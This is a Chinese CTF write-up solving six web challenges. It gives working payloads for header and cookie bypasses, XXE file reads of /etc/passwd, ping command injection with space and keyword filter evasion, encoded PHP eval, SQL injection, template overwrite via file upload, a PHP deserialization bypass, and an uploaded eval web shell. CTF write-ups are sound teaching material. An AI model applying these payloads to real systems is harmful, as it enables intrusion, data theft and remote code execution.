1. 小明又被拒絕了
直接訪問根目錄,報403錯誤
一般是做了ip限制,加上 X-Forwarded-For 頭即可繞過
接着又提示不是管理員,仔細看響應頭的 Set-Cookie ,有個 admin=0 ,很明顯是通過Cookie來判斷是否是管理員,直接在請求中加個 Cookie:admin=1 即可繞過,獲取flag.
2.XX?
直接訪問根目錄,發現是個百度頁面,看了下源碼,沒什麼異常。
訪問下 index.php ,發現有點東西,嘗試訪問幾個常見備份文件後綴,沒有特別的發現。仔細看了下,發現標題是 gedit ,猜想是 gedit 的備份文件, 通過 index.php~ 獲取備份源碼。
源碼中通過 php://input 獲取 POST 請求中的內容,然後把內容作爲 xml 解釋, 猜想應該是XXE 漏洞利用。根據參數名構造以下 XML 數據發送到服務器。
<?xml version="1.0"?>
<creds><user>admin</user><pass>pass</pass>
</creds>
發現可以回顯用戶名。
使用以下 XXE payload 可讀取 /etc/passwd 文件
<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<creds><user>&xxe;</user></creds>
嘗試讀取/flag, /etc/flag, 都不存在。然後嘗試讀取 index.php , 但不知道網站根目錄路徑
接着也發現根目錄有 flag.php 文件
查了一下,發現可以通過 php://filter/ 來讀取當前目錄下的文件。於是構造以下 XXE payload 即可讀取 flag.php
<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>]>
<creds><user>&xxe;</user></creds>
3. 免費的,ping 一下~
打開首頁,發現可以輸入 ip ,然後 ping 該 ip,這種一般會有命令注入
把參數的值設置成 ;ls; 成功列出了當前目錄的文件。
嘗試列出根目錄,發現被攔截了,經過幾次嘗試,發現命令加一個空格會被攔截。查了下空格繞過,發現可以使用 $IF$$9
或 ${IFS}
來代替空格。成功執行 ls 命令。
發現在根目錄有 flag 文件,嘗試讀取,但讀取文件的命令如 cat 、head 、tail 等命令被攔截了,同時 flag 關鍵詞也被攔截了。查了下,發現可以通過在命令中間加兩個雙引號繞過。
使用 c"“at${IFS}/fl”"ag 讀取 flag 文件,提示 flag 不在第一行
可以使用tail /flag -n +3 的方式來讀取第3行的內容
最後通過 burp 爆破,發現 flag 在第16行。
4. php
訪問首頁,是 Apache 默認界面。
訪問 index.php ,給出了源碼, 源碼中獲取 code 參數的內容, 然後把 code 參數的內容傳進 eval 中執行。理論上只要把 code 的值設置成 GetYourFlag() 即可獲取 flag, 但在執行之前做了過濾,如果內容是字母,數字,下劃線等特殊字符,則拒絕執行。
查了下,發現 p 神的文章裏面說到可以通過 (‘phpinfo’)(); 的方式來執行字符串的代碼。然後通過特殊字符取反來構造字母,如 ~ 0xb8 的值剛好是字母 G 。通過下面的方式生成 GetYourFlag 取反的十六進制值。
然後在輸出的十六進制字符串的每兩個字符前加上 % 來構造 URL 編碼的特殊字符串,最後的 payload 如下:
http://119.61.19.212:8082/index.php?code=(~%b8%9a%8b%a6%90%8a%8d%b9%93%9e%98)()
5. 找漏洞
下載源碼壓縮包,然後訪問首頁
查看首頁源碼發現 /login 登錄頁面
沒登錄賬號,查看源碼找下思路,發現 UserFactory.php 文件的註釋裏面有個密碼,但不知道賬號是什麼。
在 web.php 下面發現以下路由, 打開相應的 php 文件查看
發現 UserController.php 中有個 SQL 注入
根據上面的路由構造以下 URL 獲取所有用戶的賬號密碼。
http://119.61.19.212:8085/user_testpage/1’%20or%20’a’='a
第二個賬號的郵箱提示A Hint=key,後面會有用。通過嘗試,可以使用以下賬號密碼登錄[email protected]/secertheretola
登錄後嘗試訪問 HomeController.php 中路由的路徑。
http://119.61.19.212:8085/home/uploadto_upload
該地址的源碼有個 _token 值,後面又有用。。。
接着發現 uploadss 方法可以上傳文件,但前提是 key 值要正確,這個 key 值就是上面第二個用戶的用戶名。上傳的 URL 地址如下:http://119.61.19.212:8085/home/uploadss/NotAllow6171
構造個上傳表單進行上傳,提示頁面過期了
在上傳表單中加入上面請求獲取的 _token, 最後構造以下上傳表單進行上傳:
<html>
<body>
<form action="http://119.61.19.212:8085/home/uploadss/NotAllow6171" method="POST" enctype="multipart/form-data">
<input type="file" name="files" />
<input type="hidden" name="_token" value="D1KJGDpS9lSdpqxuyYh1SGolMNYjCz2jdlrmgzTO">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
上傳後提示 hack, 應該是過濾了文件的內容
發現內容只要有php關鍵字即攔截。 回頭看下剩下一個沒被利用的路由
發現訪問 http://119.61.19.212:8085/home/profile 可以訪問 show() 方法,該方法會加載 auth.uploads.template 模板, 該模板剛好是位於上傳的目錄中:
可以猜到是上傳文件覆蓋該模板來獲取 flag, 現在還有一個問題是不能上傳 php 代碼。
繼續翻源碼,發現 AppServiceProvider.php 中有一段代碼有 file_get_contents() 函數,查了下,是個自定義指令,可以在模板中通過 @filedata 來獲取文件的內容。
最後只需把上傳文件名設置成 template.blade.php ,內容設置成 @filedata(’/flag’) ,然後訪問 /home/profile 即可讀取 flag
6. api
api 這題只給了個地址,直接訪問,未發現什麼,然後訪問 /api/ 提示 POST filename 參數。
直接 POST filename 參數提示 json 解析錯誤
經嘗試,可以通過以下方式傳遞參數:
嘗試讀取上級目錄的 index.php
根目錄的 index.php 包含了 hack.php ,然後接收 flag 參數的值來進行反序列化 。這裏存在反序列化漏洞。
繼續讀取 hack.php
hack.php 中的 readfile() 函數會讀取 $file 變量中指定的文件。同時在註釋中提示了讀取 fffffaa_not.php 文件,所以只需要構造以下反序列化對象作爲 flag 的值即可讀取 fffffaa_not.php 的內容:
O:4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}
但在 index.php 中有對反序列化內容過濾
查了下,可以在O: 後面添加一個加號來繞過,payload如下:
O:+4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}http://119.61.19.212:8086/?flag=O%3a%2b4%3a"hack"%3a1%3a{s%3a4%3a"file"%3bs%3a15%3a"fffffaa_not.php"%3b}
查看 fffffaa_not.php 的代碼,發現獲取參數 jhh08881111jn 的值作爲內容,file_na 的值作爲文件名來上傳文件到 uploads 目錄中。其中做了文件內容檢查,不能有 [< 這些符號, 可以通過把參數設置成數組來繞過 jhh08881111jn[], payload 如下
http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<%3fphp+@eval($_POST[cmd])%3b%3f>&file_na=1234
訪問uploads/1234.php,想執行命令,發現 500 錯誤,然後執行 phpinfo(), 發現禁用了危險函數:
這裏可以直接使用 scandir() 函數來列目錄,然後通過 file_get_contents() 函數來讀取文件。
發現 flag 在 /f1ag_ahajjdhh11qwe 上,通過 file_get_contents() 讀取:
本文章也在我的公衆號發佈、